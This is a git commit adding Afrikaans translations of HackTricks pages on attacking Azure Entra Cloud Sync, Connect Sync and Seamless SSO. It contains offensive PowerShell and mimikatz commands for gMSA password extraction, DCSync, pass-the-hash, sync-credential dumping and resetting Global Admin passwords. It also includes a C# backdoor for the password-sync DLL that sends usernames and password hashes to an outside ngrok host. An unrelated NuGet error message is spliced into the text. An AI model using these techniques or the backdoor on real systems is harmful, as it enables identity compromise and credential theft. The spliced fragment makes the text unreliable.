Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-23 22:09:31 +00:00
parent 37af9175b5
commit 71ad7c49b5
3 changed files with 468 additions and 33 deletions

View File

@@ -0,0 +1,151 @@
# Az - Cloud Sync
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
**Cloud Sync** is basies die nuwe manier van Azure om **gebruikers van AD in Entra ID te sinkroniseer**.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is 'n nuwe aanbod van Microsoft wat ontwerp is om aan jou hibriede identiteit doelwitte vir die sinkronisering van gebruikers, groepe en kontakte na Microsoft Entra ID te voldoen. Dit bereik dit deur die Microsoft Entra wolk voorsieningsagent te gebruik in plaas van die Microsoft Entra Connect toepassing. Dit kan egter saam met Microsoft Entra Connect Sync gebruik word.
### Principals Generated
In orde vir dit te werk, word 'n paar principals in beide Entra ID en die On-Premise direkte geskep:
- In Entra ID word die gebruiker `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) geskep met die rol **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
> [!WARNING]
> Hierdie rol het voorheen baie bevoorregte toestemmings gehad en dit kon gebruik word om [**bevoegdhede selfs tot globale admin te eskaleer**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Microsoft het egter besluit om al die bevoegdhede van hierdie rol te verwyder en dit net 'n nuwe een **`microsoft.directory/onPremisesSynchronization/standard/read`** toe te ken wat nie regtig toelaat om enige bevoorregte aksie uit te voer nie (soos om die wagwoord of eienskappe van 'n gebruiker te verander of 'n nuwe geloofsbrief aan 'n SP toe te voeg).
- In Entra ID word ook die groep **`AAD DC Administrators`** geskep sonder lede of eienaars. Hierdie groep is nuttig as [`Microsoft Entra Domain Services`](./az-domain-services.md) gebruik word.
- In die AD, word of die Diensrekening **`provAgentgMSA`** geskep met 'n SamAcountName soos **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), of 'n pasgemaakte een met [**hierdie toestemmings is nodig**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Gewoonlik word die standaard een geskep.
> [!WARNING]
> Onder ander toestemmings het die Diensrekening **`provAgentgMSA`** DCSync-toestemmings, wat **enigeen wat dit kompromitteer in staat stel om die hele direkte te kompromitteer**. Vir meer inligting oor [DCSync kyk hierna](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> [!NOTE]
> Standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` tot 1 nie gesinkroniseer** met Entra ID vir veiligheidsredes nie. Ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë bevoegdhede direk toegeken is, **kan egter gesinkroniseer word**.
## Password Sychronization
Die afdeling is baie soortgelyk aan die een van:
{{#ref}}
az-connect-sync.md
{{#endref}}
- **Wagwoord hash sinkronisering** kan geaktiveer word sodat gebruikers in staat sal wees om **in te log in Entra ID met hul wagwoorde van AD**. Boonop, wanneer 'n wagwoord in AD gewysig word, sal dit in Entra ID opgedateer word.
- **Wagwoord skryfbak** kan ook geaktiveer word, wat gebruikers toelaat om hul wagwoord in Entra ID te verander en outomaties hul wagwoord in die on-premise domein te sinkroniseer. Maar volgens die [huidige dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), is dit nodig om die Connect Agent te gebruik, so kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting.
- **Groep skryfbak**: Hierdie kenmerk laat groep lidmaatskappe van Entra ID toe om teruggesinkroniseer te word na die on-premises AD. Dit beteken dat as 'n gebruiker aan 'n groep in Entra ID bygevoeg word, hulle ook aan die ooreenstemmende groep in AD bygevoeg sal word.
## Pivoting
### AD --> Entra ID
- As die AD gebruikers van die AD na Entra ID gesinkroniseer word, is pivoting van AD na Entra ID eenvoudig, net **kompromitteer 'n gebruiker se wagwoord of verander 'n gebruiker se wagwoord of skep 'n nuwe gebruiker en wag totdat dit in die Entra ID direkte gesinkroniseer word (gewoonlik net 'n paar minute)**.
So jy kan byvoorbeeld
- Die **`provAgentgMSA`** rekening kompromitteer, 'n DCSync aanval uitvoer, die wagwoord van 'n gebruiker kraak en dit dan gebruik om in te log in Entra ID.
- Net 'n nuwe gebruiker in die AD skep, wag totdat dit in Entra ID gesinkroniseer word en dit dan gebruik om in te log in Entra ID.
- Die wagwoord van 'n gebruiker in die AD verander, wag totdat dit in Entra ID gesinkroniseer word en dit dan gebruik om in te log in Entra ID.
Om die **`provAgentgMSA`** geloofsbriewe te kompromitteer:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Nou kan jy die hash van die gMSA gebruik om 'n Pass-the-Hash aanval teen Entra ID uit te voer met die `provAgentgMSA` rekening en volharding te handhaaf om DCSync-aanvalle teen die AD uit te voer.
Vir meer inligting oor hoe om 'n Active Directory te kompromitteer, kyk:
{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
{{#endref}}
> [!NOTE]
> Let daarop dat daar geen manier is om Azure of EntraID rolle aan gesinkroniseerde gebruikers toe te ken op grond van hul eienskappe nie, byvoorbeeld in die Cloud Sync konfigurasies. Dit is egter moontlik om outomaties toestemmings aan gesinkroniseerde gebruikers toe te ken, sommige **Entra ID groepe van AD** mag toestemming ontvang sodat die gesinkroniseerde gebruikers binne daardie groepe dit ook ontvang of **dinamiese groepe mag gebruik word**, so kyk altyd na dinamiese reëls en potensiële maniere om dit te misbruik:
{{#ref}}
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
Ten opsigte van volharding stel [hierdie blogpos](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) voor dat dit moontlik is om [**dnSpy**](https://github.com/dnSpy/dnSpy) te gebruik om die dll **`Microsoft.Online.Passwordsynchronisation.dll`** wat geleë is in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** wat deur die Cloud Sync agent gebruik word om die wagwoordsinchronisasie uit te voer, te backdoor sodat dit die wagwoord hashes van die gebruikers wat gesinkroniseer word na 'n afgeleë bediener uitvreet. Die hashes word binne die klas **`PasswordHashGenerator`** gegenereer en die blogpos stel voor om 'n paar kode by te voeg sodat die klas soos volg lyk (let op die `use System.Net` en die `WebClient` gebruik om die wagwoord hashes uit te vreet):
```csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
```
NuGet-pakketherstel het gefaal vir projek AzTokenFinder: Onvermoë om weergawe '4.3.2' van pakket 'System.Security.Cryptography.X509Certificates' te vind.
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Pakket 'System.Security.Cryptography.X509Certificates.4.3.2' is nie op bron 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' gevind nie.
. Sien asseblief die Foutlys-venster vir gedetailleerde waarskuwings en foute.
### Entra ID --> AD
- As **Wagwoord Terugskrywing** geaktiveer is, kan jy die wagwoord van sommige gebruikers van Entra ID verander en as jy toegang tot die AD-netwerk het, met hulle aansluit. Vir meer inligting, kyk na die [Az Connect Sync section](./az-connect-sync.md) afdeling vir meer inligting, aangesien die wagwoord terugskrywing met daardie agent geconfigureer word.
- Op hierdie stadium laat Cloud Sync ook **"Microsoft Entra ID na AD"** toe, maar na te veel tyd het ek gevind dat dit nie EntraID-gebruikers na AD kan sinkroniseer nie en dat dit slegs gebruikers van EntraID kan sinkroniseer wat met die wagwoord-hash gesinkroniseer is en afkomstig is van 'n domein wat aan dieselfde domeinwoud behoort as die domein waaraan ons sinkroniseer, soos jy kan lees in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
> - Hierdie groepe kan slegs on-premises gesinkroniseerde gebruikers en / of addisionele in die wolk geskepte sekuriteitsgroepe bevat.
> - Die on-premises gebruikersrekeninge wat gesinkroniseer is en lede van hierdie in die wolk geskepte sekuriteitsgroep is, kan van dieselfde domein of kruis-domein wees, maar hulle moet almal van dieselfde woud wees.
So die aanvaloppervlak (en nuttigheid) van hierdie diens is aansienlik verminder aangesien 'n aanvaller die aanvanklike AD waaruit die gebruikers gesinkroniseer word, moet kompromitteer om 'n gebruiker in die ander domein te kompromitteer (en albei moet blykbaar in dieselfde woud wees).
### Enumeration
```bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,202 @@
# Az - Connect Sync
{{#include ../../../../banners/hacktricks-training.md}}
## Basiese Inligting
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronisasiedienste (Microsoft Entra Connect Sync) is 'n hoofkomponent van Microsoft Entra Connect. Dit sorg vir al die operasies wat verband hou met die sinchronisering van identiteitsdata tussen jou plaaslike omgewing en Microsoft Entra ID.
Om dit te gebruik, is dit nodig om die **`Microsoft Entra Connect Sync`** agent op 'n bediener binne jou AD-omgewing te installeer. Hierdie agent sal verantwoordelik wees vir die sinchronisering vanaf die AD-kant.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
Die **Connect Sync** is basies die "ou" Azure manier om **gebruikers van AD na Entra ID te sinchroniseer.** Die nuwe aanbevole manier is om **Entra Cloud Sync** te gebruik:
{{#ref}}
az-cloud-sync.md
{{#endref}}
### Beginsels Geproduseer
- Die rekening **`MSOL_<installationID>`** word outomaties in die plaaslike AD geskep. Hierdie rekening word 'n **Directory Synchronization Accounts** rol gegee (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicatie (DCSync) regte in die plaaslike AD** het.
- Dit beteken dat enigiemand wat hierdie rekening kompromitteer, die plaaslike domein kan kompromitteer.
- 'n Gemanageerde diensrekening **`ADSyncMSA<id>`** word in die plaaslike AD geskep sonder enige spesiale standaardregte.
- In Entra ID word die Diens Prinsipaal **`ConnectSyncProvisioning_ConnectSync_<id>`** geskep met 'n sertifikaat.
## Sinchroniseer Wagwoorde
### Wagwoord Hash Sinchronisasie
Hierdie komponent kan ook gebruik word om **wagwoorde van AD na Entra ID te sinchroniseer** sodat gebruikers hul AD-wagwoorde kan gebruik om aan te sluit by Entra ID. Hiervoor is dit nodig om wagwoord hash sinchronisasie in die Microsoft Entra Connect Sync agent wat op 'n AD-bediener geïnstalleer is, toe te laat.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagwoord hash sinchronisasie** is een van die aanmeldmetodes wat gebruik word om hibriede identiteit te bereik. **Azure AD Connect** sinchroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie.
Basies, alle **gebruikers** en 'n **hash van die wagwoord hashes** word van die plaaslike AD na Azure AD gesinchroniseer. egter, **duidelike wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.
Die **hashes sinchronisasie** vind elke **2 minute** plaas. egter, per standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinchroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **verifikasie plaas op Azure AD**.
> [!NOTE]
> Per standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` na 1 nie gesinchroniseer** met Entra ID vir veiligheidsredes. egter, ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë regte direk toegeken is, **kan gesinchroniseer word**.
### Wagwoord Skryfbak
Hierdie konfigurasie laat toe om **wagwoorde van Entra ID na AD te sinchroniseer** wanneer 'n gebruiker sy wagwoord in Entra ID verander. Let daarop dat vir die wagwoord skryfbak om te werk, die `MSOL_<id>` gebruiker wat outomaties in die AD gegenereer is, [meer regte soos aangedui in die dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) toegeken moet word sodat dit in staat sal wees om **die wagwoorde van enige gebruiker in die AD te verander**.
Dit is veral interessant om die AD van 'n gecompromitteerde Entra ID te kompromitteer, aangesien jy in staat sal wees om die wagwoord van "byna" enige gebruiker te verander.
Domein administrateurs en ander gebruikers wat aan sommige bevoorregte groepe behoort, word nie gerepliceer as die groep die **`adminCount` attribuut na 1** het nie. Maar ander gebruikers wat hoë regte binne die AD toegeken is sonder om aan enige van daardie groepe te behoort, kan hul wagwoord verander. Byvoorbeeld:
- Gebruikers wat hoë regte direk toegeken is.
- Gebruikers van die **`DNSAdmins`** groep.
- Gebruikers van die groep **`Group Policy Creator Owners`** wat GPO's geskep het en dit aan OUs toegeken het, sal in staat wees om die GPO's wat hulle geskep het, te verander.
- Gebruikers van die **`Cert Publishers Group`** wat sertifikate aan Active Directory kan publiseer.
- Gebruikers van enige ander groep met hoë regte sonder die **`adminCount` attribuut na 1**.
## Pivoting AD --> Entra ID
### Enumerating Connect Sync
Check for users:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
Kontroleer vir die **Connect Sync-konfigurasie** (indien enige):
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### Vind die wagwoorde
Die wagwoorde van die **`MSOL_*`** gebruiker (en die **Sync\_\*** gebruiker indien geskep) is **gestoor in 'n SQL-bediener** op die bediener waar **Entra ID Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
Die databasis is geleë in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
Dit is moontlik om die konfigurasie uit een van die tabelle te onttrek, waarvan een versleuteld is:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
Die **versleutelde konfigurasie** is versleuteld met **DPAPI** en dit bevat die **wagwoorde van die `MSOL_*`** gebruiker in on-prem AD en die wagwoord van **Sync\_\*** in AzureAD. Daarom, deur hierdie te kompromitteer, is dit moontlik om privesc na die AD en AzureAD te verkry.
Jy kan 'n [volledige oorsig van hoe hierdie geloofsbriewe gestoor en ontsleutel word in hierdie praatjie vind](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Misbruik van MSOL\_\*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> Vorige aanvalle het die ander wagwoord gecompromitteer om dan met die Entra ID gebruiker genaamd `Sync_*` te verbind en dan Entra ID te kompromitteer. Hierdie gebruiker bestaan egter nie meer nie.
### Misbruik van ConnectSyncProvisioning_ConnectSync\_<id>
Hierdie toepassing is geskep sonder dat enige Entra ID of Azure bestuur rolle toegeken is. Dit het egter die volgende API-toestemmings:
- Microsoft Entra AD Sinchronisasie Diens
- `ADSynchronization.ReadWrite.All`
- Microsoft wagwoord herstel diens
- `PasswordWriteback.OffboardClient.All`
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
Daar word genoem dat die SP van hierdie toepassing steeds gebruik kan word om sommige bevoorregte aksies uit te voer met 'n nie-dokumenteerde API, maar daar is nog geen PoC gevind nie, sover ek weet.\
In elk geval, om te dink dat dit moontlik mag wees, sal dit interessant wees om verder te verken hoe om die sertifikaat te vind om as hierdie dienshoof in te log en te probeer om dit te misbruik.
Hierdie [blog pos](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) is kort voor die verandering van die gebruik van die `Sync_*` gebruiker na hierdie dienshoof vrygestel, en het verduidelik dat die sertifikaat binne die bediener gestoor was en dit moontlik was om dit te vind, PoP (Bewys van Besit) daarvan te genereer en graf token, en hiermee 'n nuwe sertifikaat aan die dienshoof toe te voeg (want 'n **dienshoof** kan altyd vir homself nuwe sertifikaat toeken) en dit dan gebruik om volharding as die SP te handhaaf.
Om hierdie aksies uit te voer, is die volgende gereedskap gepubliseer: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Volgens my ervaring, is die sertifikaat nie meer gestoor op die plek waar die vorige gereedskap daarna gesoek het nie, en daarom werk die gereedskap nie meer nie. Verdere navorsing mag nodig wees.
### Misbruik van Sync\_\* [DEPRECATED]
> [!WARNING]
> Voorheen is 'n gebruiker genaamd `Sync_*` in Entra ID geskep met baie sensitiewe toestemmings toegeken, wat dit moontlik gemaak het om bevoorregte aksies uit te voer soos om die wagwoord van enige gebruiker of om 'n nuwe geloofsbrief aan 'n dienshoof toe te voeg. Vanaf Jan2025 word hierdie gebruiker egter nie meer standaard geskep nie, aangesien die Aansoek/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** gebruik word. Dit mag egter steeds in sommige omgewings teenwoordig wees, so dit is die moeite werd om daarna te kyk.
Die kompromittering van die **`Sync_*`** rekening maak dit moontlik om die **wagwoord te herstel** van enige gebruiker (insluitend Globale Administrators)
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Dit is ook moontlik om **slegs die wagwoorde van wolk** gebruikers te **wysig** (selfs al is dit onverwags).
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
Dit is ook moontlik om die wagwoord van hierdie gebruiker te dump.
> [!CAUTION]
> 'n Ander opsie sou wees om **bevoorregte toestemmings aan 'n dienshoof** toe te ken, wat die **Sync** gebruiker **toestemmings** het om te doen, en dan **daardie dienshoof** te benader as 'n manier van privesc.
### Seamless SSO
Dit is moontlik om Seamless SSO met PHS te gebruik, wat kwesbaar is vir ander misbruik. Kontroleer dit in:
{{#ref}}
seamless-sso.md
{{#endref}}
## Pivoting Entra ID --> AD
- As wagwoord skryf teruggestuur is, kan jy **die wagwoord van enige gebruiker in die AD** wat met Entra ID gesinkroniseer is, **wysig**.
- As groepe skryf teruggestuur is, kan jy **gebruikers aan bevoorregte groepe** in Entra ID wat met die AD gesinkroniseer is, **toevoeg**.
## Verwysings
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Basiese Inligting
[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken **gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer geaktiveer, **hoef gebruikers nie hul wagwoorde in te tik om in te teken op Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder die behoefte aan enige addisionele plaaslike komponente.
[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken **gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer dit geaktiveer is, **hoef gebruikers nie hul wagwoorde in te tik om in te teken op Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder dat enige addisionele plaaslike komponente benodig word.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
@@ -12,15 +12,64 @@ Basies teken Azure AD Seamless SSO **gebruikers** in wanneer hulle **op 'n plaas
Dit word deur beide [**PHS (Wagwoord Hash Sync)**](phs-password-hash-sync.md) en [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) ondersteun.
Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer geconfigureer, skep Azure AD Connect 'n **rekenaarrekening genaamd AZUREADSSOACC`$`** in plaaslike AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as plain-text na Azure AD gestuur** tydens die konfigurasie.
Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer dit geconfigureer is, skep Azure AD Connect 'n **rekenaarrekening genaamd `AZUREADSSOACC$`** in plaaslike AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as platte teks na Entra ID gestuur** tydens die konfigurasie.
Die **Kerberos kaartjies** is **geënkripteer** met die **NTHash (MD4)** van die wagwoord en Azure AD gebruik die gestuurde wagwoord om die kaartjies te ontsleutel.
Die **Kerberos kaartjies** is **geënkripteer** met die **NTHash (MD4)** van die wagwoord en Entra ID gebruik die gestuurde wagwoord om die kaartjies te ontsleutel.
**Azure AD** stel 'n **eindpunt** (https://autologon.microsoftazuread-sso.com) beskikbaar wat Kerberos **kaartjies** aanvaar. Die blaaiert van die domein-verbonden masjien stuur die kaartjies na hierdie eindpunt vir SSO.
**Entra ID** stel 'n **eindpunt** (https://autologon.microsoftazuread-sso.com) beskikbaar wat Kerberos **kaartjies** aanvaar. Die blaaiert van die domein-verbonden masjien stuur die kaartjies na hierdie eindpunt vir SSO.
### Plaaslik -> wolk
### Enumerasie
```bash
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domein admin die **hash van hierdie rekening** kompromitteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige plaaslike gebruiker gesinkroniseer** aan Azure te verbind:
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
```
## Pivoting: On-prem -> cloud
> [!WARNING]
> Die belangrikste ding om te weet oor hierdie aanval is dat om net die TGT of 'n spesifieke TGS van 'n gebruiker wat gesinkroniseer is met Entra ID te hê, genoeg is om toegang tot die wolkbronne te verkry.\
> Dit is omdat dit 'n kaartjie is wat 'n gebruiker toelaat om in die wolk aan te meld.
Om daardie TGS-kaartjie te verkry, moet die aanvaller een van die volgende hê:
- **'n Gecompromitteerde gebruiker se TGS:** As jy 'n gebruiker se sessie met die kaartjie na `HTTP/autologon.microsoftazuread-sso.com` in geheue kompromitteer, kan jy dit gebruik om toegang tot die wolkbronne te verkry.
- **'n Gecompromitteerde gebruiker se TGT:** Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry deur 'n vals TGT-delegasie truuk wat in baie gereedskap soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) geïmplementeer is.
- **'n Gecompromitteerde gebruiker se hash of wagwoord:** SeamlessPass sal met die domeinbeheerder kommunikeer met hierdie inligting om die TGT te genereer en dan die TGS.
- **'n goue kaartjie:** As jy die KRBTGT-sleutel het, kan jy die TGT wat jy vir die aangevalde gebruiker nodig het, skep.
- **Die AZUREADSSOACC$ rekening hash of wagwoord:** Met hierdie inligting en die gebruiker se Veiligheidsidentifiseerder (SID) om aan te val, is dit moontlik om 'n dienskaartjie te skep en met die wolk te autentiseer (soos in die vorige metode uitgevoer).
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
